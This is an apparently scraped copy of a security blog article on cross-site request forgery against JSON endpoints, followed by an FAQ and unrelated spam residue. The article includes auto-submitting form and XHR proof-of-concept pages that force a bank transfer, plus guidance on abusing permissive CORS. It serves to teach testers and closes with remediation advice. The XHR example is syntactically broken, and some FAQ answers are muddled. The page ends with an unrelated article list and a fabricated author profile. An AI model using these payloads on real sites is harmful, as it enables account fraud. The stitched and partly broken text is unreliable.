CSRF in the Age of JSON (2024)

CSRF in the Age of JSON (1)

CSRF in the Age of JSON

The Complexities Created by Using JavaScript Object Notation to Transfer Data

Among the web application vulnerability tests that we perform at DirectDefense is an application security assessment for CSRF.

CSRF, or Cross-Site Request Forgery, is an attack that takes advantage of the predictability of requests and browsers’ automatic submission of session cookies to perform unintended actions on a victim’s behalf. These actions could range from an inconvenience, like changing a user’s language settings for an application, to causing real damage, like transferring money out of a bank account or forcing an administrator to create a user account for the attacker.

CSRF against a standard webform without proper protections can be pretty easy to execute, but applications are more commonly using JavaScript Object Notation (JSON) to transfer data, which comes with some added complexities. The application/json MIME type is typically sent using AJAX, which is prevented from being sent in cross-site requests by the Same-Origin Policy (SOP). Thus, to perform CSRF against a JSON endpoint, we need to either use a different MIME type, exploit a weak CORS policy, or find another means of submitting the request.

Before we even discuss performing a CSRF attack, however, we need to make a few assumptions about the application:

  1. The application has an authorization model that restricts state-changing functionality to certain users.
  2. The application uses cookies to verify users’ authorization to these functions. With current browser protections, these cookies most likely will need to be created with the SameSite=None attribute, though older browser versions or nonstandard application practicies (e.g. state-changing operations with the GET method) can circumvent that requirement.
  3. The specific functions use predictable request schemas: one user’s request will largely be similar to a second user’s request.

As an example of this last point, let us suppose that we have a banking application that allows users to send money from their account to any other. A request may look like the following:

POST /accounts/transfer HTTP 1.1
Host: members.bankofdirectdefense.com
Content-Type: application/json
Content-Length: 87
Cookie: sessionid=3564120978
{
 "fromAccount": 1,
 "toAccount": "021000021 9876543210",
 "amount": 1000,
 "currency": "USD"
}

The above request would send money from the user’s primary Bank of DirectDefense account to the specified bank account in the amount of 1000 USD. Regardless of which user was logged in, it would always transfer from that user’s first bank account to the identified account, and that predictability makes this function a prime target for CSRF.

Now that we have a bit of an understanding of CSRF, an overview of the challenges that we face with JSON endpoints, and an example to work from, let’s look at how to perform an exploit.

Manipulating the Content Type

Whenever we encounter potentially CSRF-able JSON requests, the first thing we check is how the application handles changes to the request’s MIME type. If the application is operating securely, it will respond with an error warning that the MIME type is invalid. However, with a bit of luck, the application will accept requests with a text/plain MIME type.

In this case, we can construct a form to submit a request to the endpoint, though we first need to figure out how to insert an equal sign in the request body. Because JSON doesn’t generally care about the number of key/value pairs, we can attempt to add an extra pair to the end:

POST /accounts/transfer HTTP 1.1
Host: members.bankofdirectdefense.com
Content-Type: text/plain
Content-Length: 101
Cookie: sessionid=3564120978
{
 "fromAccount": 1,
 "toAccount": "021000021 9876543210",
 "amount": 1000,
 "currency": "USD",
 "foo=": "bar"
}

Assuming the application accepts that request, we can then create a script to auto-send the above whenever a user visits a page containing the script. Everything before the equal sign will be the input name, and everything after will be the input value; when submitted, the two will be concatenated with an equal sign to create the JSON structure.

<html>
 <body>
 <form action="https://members.bankofdirectdefense.com/accounts/transfer" method="POST" enctype="text/plain">
 <input type="hidden" name="{\"from-account\": 1,\"toAccount\": \"021000021-9876543210\",\"amount\": 1000,\"currency\": \"USD\",\"foo" value="\":\"bar\"}" />
 </form>
 <script>document.forms[0].submit();</script>
 </body>
</html>

If text/plain does not work, there are still other MIME types that might. Attempt application/x-www-form-urlencoded and multipart/form-data to see if the application will accept those; occasionally, the framework will convert those types to JSON on the backend, allowing for exploitation.

Taking Advantage of CORS Misconfiguration

If the endpoint validates that requests are sent with an application/json MIME type, then all hope is not quite lost. If the application has an overly permissive CORS policy, then we can still send XHR with the proper MIME type. In order to exploit CSRF in this situation, the application has to include two key CORS headers: a dynamically updated Access-Control-Allow-Origin (ACAO) header, and an Access-Control-Allow-Credentials (ACAC) header with the value true. The ACAO header determines what origins are allowed to send requests to the application. The ACAC header determines whether cookies are sent with the request.

Special Note: ACAO does allow a wildcard value of * to match all origins. However, per CORS specifications, a wildcard value paired with ACAC set to true will result in an error. For this reason, we need the application to dynamically set ACAO to the origin of the request.

To test whether an application has such a misconfiguration, we can send the following request with an arbitrarily chosen Origin header:

POST /accounts/transfer HTTP 1.1
Host: members.bankofdirectdefense.com
Origin: https://www.attackersite.com
Content-Type: application/json
Content-Length: 88
Cookie: sessionid=3564120978
{
 "fromAccount": 1,
 "toAccount": "021000021 9876543210",
 "amount": 1000,
 "currency": "USD"
}

With luck, we’ll get back a response similar to the following:

HTTP/1.1 200 OK
Date: Fri, 13 Mar 2020 11:11:11 GMT
Access-Control-Allow-Origin: https://www.attackersite.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
Content-Length: 33
{"confirmationNumber": "17AE80B"}

Armed with this knowledge, we can now attempt the following exploit proof of concept to send the payload using an application/json MIME type:

<html>
 <body>
 <script>
 function submitRequest()
 {
 var xhr = new XMLHttpRequest();
 xhr.open("POST", "https:\/\/members.bankofdirectdefense.com\/accounts\/transfer", true);
 xhr.setRequestHeader("Content-Type", "application\/json");
 xhr.withCredentials = true;
 xhr.send("{\"from-account\": 1,\"toAccount\": \"021000021-9876543210\",\"amount\": 1000,\"currency\": \"USD\"}");
 submitRequest();
 </script>
 </body>
</html>

When an authenticated user visits the hosted script on https://www.attackersite.com, the XHR will be triggered, and the transfer will be submitted.

Alternate Means of Submitting the Request

Given that IT security is an ever-changing field, there are always new exploits being discovered. One of my personal favorite CSRF vectors leveraged weaknesses in Flash and an overly-permissive crossdomain.xml policy to perform CSRF on JSON endpoints. That being said, always be on the lookout for new ways to submit requests to applications, because one never knows when a new potential vector for exploit will be introduced again.

Conclusion and Recommendations

While CSRF is not as prevalent as it once was thanks to new browser security protections, it remains a significant weakness and should always be tested for when performing a web application security assessment. For those testers using Portswigger’s Burp Suite, there’s a useful Generate CSRF PoC tool under Engagement Tools in the right-click context menu for requests, though as with all tools, one should know how it works and why it creates the proofs of concept that it does.

When it comes to fixing CSRF with JSON, the best remediation continues to be an unpredictable nonce submitted with the request and verified by the application. Authorization cookies with the SameSite=Strict attribute are also a good method of prevention. While validating the content type and having a secure CORS policy will prevent the above exploits, as I mentioned above, one never knows when a new potential vector may allow an attacker to bypass those controls.

Further Reading

For additional information related to the topics presented in this article, I recommend the following links:

CSRF in the Age of JSON (2)By: Matt Evert09.22.20

Prev

Next

CSRF in the Age of JSON (2024)

FAQs

Does JSON prevent CSRF? ›

Usually, JSON is CSRF-safe, but only when requests with content-type other than application/json gets rejected or additional CSRF protection is in place (Authorization headers/API keys).

Is CSRF possible with JWT? ›

JWTs by themselves do not prevent CSRF attacks. Here's why: - JWTs may be sent automatically by the browser if authentication cookies or local storage tokens are set. An attacker can leverage this to send the JWT without the user knowing.

Is CSRF still an issue? ›

CSRF vulnerabilities can still occur on login forms where the user is not authenticated, but the impact and risk is different.

What three key conditions must be in place for a CSRF attack to be possible? ›

For a CSRF attack to be possible, three key conditions must be in place: An operation in the web application that provides value to the attacker. Cookie-based session handling. No unpredictable request parameters.

Should I use CSRF protection in REST API? ›

Enabling cross-site request forgery protection in REST. Enabling cross-site request forgery (CSRF) protection is recommended when using REST APIs with cookies for authentication. If your REST API uses the WCToken or WCTrustedToken tokens for authentication, then additional CSRF protection is not required.

What is a way you can prevent CSRF attacks? ›

It's easier for an attacker to launch a CSRF attack when they know which parameters and value combinations are used in a form. Therefore, adding an additional parameter with a value that is unknown to the attacker and that may be validated by the server, will help prevent CSRF attacks.

Is CSRF deprecated? ›

csrf() and . requiresChannel() methods of the below piece of code no longer work because of deprecations.

Can CSRF happen without cookies? ›

Note. The cookie-setting behavior does not even need to exist within the same web application as the CSRF vulnerability.

Do we still need CSRF tokens? ›

It's probably good to keep a layered security approach and continue to use CSRF tokens.

What is the alternative to CSRF? ›

Double Submit Cookie is an alternative CSRF defence used for stateless cases. Thus, the token does not need to be assigned to the session. A random token is generated and sent to the cookie from the server and transmitted back to the server as a request parameter like in Synchronizer Token Pattern.

Does Cors stop CSRF? ›

CSRF (Cross-Site Request Forgery) is a web attack that exploits loopholes in the SOP policy, and CORS does not block them. The attack consists of the attacker running malicious scripts in the victim's browser, and thus the victim performs unintended actions on his behalf.

Should we disable CSRF? ›

When should you use CSRF protection? Our recommendation is to use CSRF protection for any request that could be processed by a browser by normal users. If you are only creating a service that is used by non-browser clients, you will likely want to disable CSRF protection.

What is the strongest defense against CSRF attacks? ›

The most robust way to defend against CSRF attacks is to include a CSRF token within relevant requests. The token must meet the following criteria: Unpredictable with high entropy, as for session tokens in general. Tied to the user's session.

How to pass CSRF token in rest api? ›

Enable CSRF Protection With REST API

If our project requires CSRF protection, we can send the CSRF token with a cookie by using CookieCsrfTokenRepository in a SecurityFilterChain bean. After restarting the app, our requests receive HTTP errors, which means that CSRF protection is enabled.

Does SOP prevent CSRF? ›

The Same Origin Policy (SOP) is a fundamental security mechanism implemented in web browsers to protect against Cross-Site Request Forgery (CSRF) attacks. CSRF attacks exploit the trust between a user and a website by tricking the user's browser into making unauthorized requests on their behalf.

Does JSON parse prevent injection? ›

The best way of preventing client-side JSON injections is never to use the eval function to evaluate JSON data. Whenever you use the eval function with untrusted data that contains JavaScript code, that code will be executed – and it could be malicious. To eliminate this risk, use JSON. parse instead.

Is JSON parse vulnerable? ›

Cross-site script inclusion, also known as JSON vulnerability, can allow an attacker's website to read data from a JSON API.

Does HTTP only prevent CSRF? ›

Designating the CSRF cookie as HttpOnly doesn't offer any practical protection because CSRF is only to protect against cross-domain attacks. If an attacker can read the cookie via JavaScript, they're already on the same domain as far as the browser knows, so they can do anything they like anyway.

Top Articles
Prop Firms In United States – The Best For You – Living From Trading
An Evidence Based Investing Guide - Boomer & Echo
Le Blanc Los Cabos - Los Cabos – Le Blanc Spa Resort Adults-Only All Inclusive
Stadium Seats Near Me
Voorraad - Foodtrailers
New Slayer Boss - The Araxyte
Kris Carolla Obituary
Buckaroo Blog
Joe Gorga Zodiac Sign
Cnnfn.com Markets
Magicseaweed Capitola
Money blog: Domino's withdraws popular dips; 'we got our dream £30k kitchen for £1,000'
Jellyfin Ps5
Ukc Message Board
Mccain Agportal
Schedule An Oil Change At Walmart
Accident On 215
Air Traffic Control Coolmathgames
Conscious Cloud Dispensary Photos
Yonkers Results For Tonight
Galaxy Fold 4 im Test: Kauftipp trotz Nachfolger?
Jayah And Kimora Phone Number
No Limit Telegram Channel
Eegees Gift Card Balance
Deepwoken: Best Attunement Tier List - Item Level Gaming
A Plus Nails Stewartville Mn
Craigs List Tallahassee
Why Are The French So Google Feud Answers
O'reilly's Wrens Georgia
Angela Muto Ronnie's Mom
Moxfield Deck Builder
Austin Automotive Buda
Restored Republic December 9 2022
9781644854013
Main Street Station Coshocton Menu
Ticket To Paradise Showtimes Near Regal Citrus Park
craigslist | michigan
Directions To Advance Auto
Final Fantasy 7 Remake Nexus
Tryst Houston Tx
Winta Zesu Net Worth
فیلم گارد ساحلی زیرنویس فارسی بدون سانسور تاینی موویز
How To Customise Mii QR Codes in Tomodachi Life?
Elven Steel Ore Sun Haven
Samsung 9C8
Iron Drop Cafe
Denys Davydov - Wikitia
Invitation Quinceanera Espanol
Escape From Tarkov Supply Plans Therapist Quest Guide
San Pedro Sula To Miami Google Flights
Heisenberg Breaking Bad Wiki
Latest Posts
Article information

Author: Sen. Emmett Berge

Last Updated:

Views: 6663

Rating: 5 / 5 (80 voted)

Reviews: 95% of readers found this page helpful

Author information

Name: Sen. Emmett Berge

Birthday: 1993-06-17

Address: 787 Elvis Divide, Port Brice, OH 24507-6802

Phone: +9779049645255

Job: Senior Healthcare Specialist

Hobby: Cycling, Model building, Kitesurfing, Origami, Lapidary, Dance, Basketball

Introduction: My name is Sen. Emmett Berge, I am a funny, vast, charming, courageous, enthusiastic, jolly, famous person who loves writing and wants to share my knowledge and understanding with you.